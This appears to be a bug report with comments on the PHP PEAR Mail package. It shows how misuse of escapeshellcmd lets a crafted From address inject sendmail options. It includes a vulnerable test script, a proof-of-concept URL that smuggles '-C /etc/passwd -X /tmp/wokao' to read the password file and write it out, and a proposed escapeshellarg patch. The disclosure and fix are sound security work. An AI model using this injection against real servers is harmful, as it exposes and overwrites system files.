Description:
------------
The mail package used escapeshellcmd function Incorrectly,so it may allow to read/write Arbitrary File
Test script:
---------------
<?php
ini_set('include_path',ini_get('include_path').':/usr/local/lib/php/PEAR:');
require_once("Mail.php");
$from = "From: " . $_REQUEST['email'] . "\r\n";
$to = "xxxxxxx@zzzz.com";
$subj = "subscription request";
$body = "subscribe me";
$hdrs = array(
"To" => $to,
"Cc" => $cc,
"Bcc" => $bcc,
"From" => $from,
"Subject" => $subject,
);
$body="test";
$mail =& Mail::factory('sendmail');
$mail->send($to, $hdrs, $body);
?>
test.php?1=3&email=xxxxx%09-C%09/etc/passwd%09-X%09/tmp/wokao%09zzz@x%09.com&l=2&1=3
Expected result:
----------------

--------------
this may read /etc/passwd and write it to /tmp/wokao

Above patch adds in Validate and validates the from address is a valid email.
This may not be correct behaviour.
This may also still be exploitable by targetting different arguments.

The fix is incomplete, $recipients also needs to be properly escaped.
- $recipients = escapeShellCmd(implode(' ', $recipients));
+ $recipients = implode(' ', array_map('escapeshellarg', $recipients));
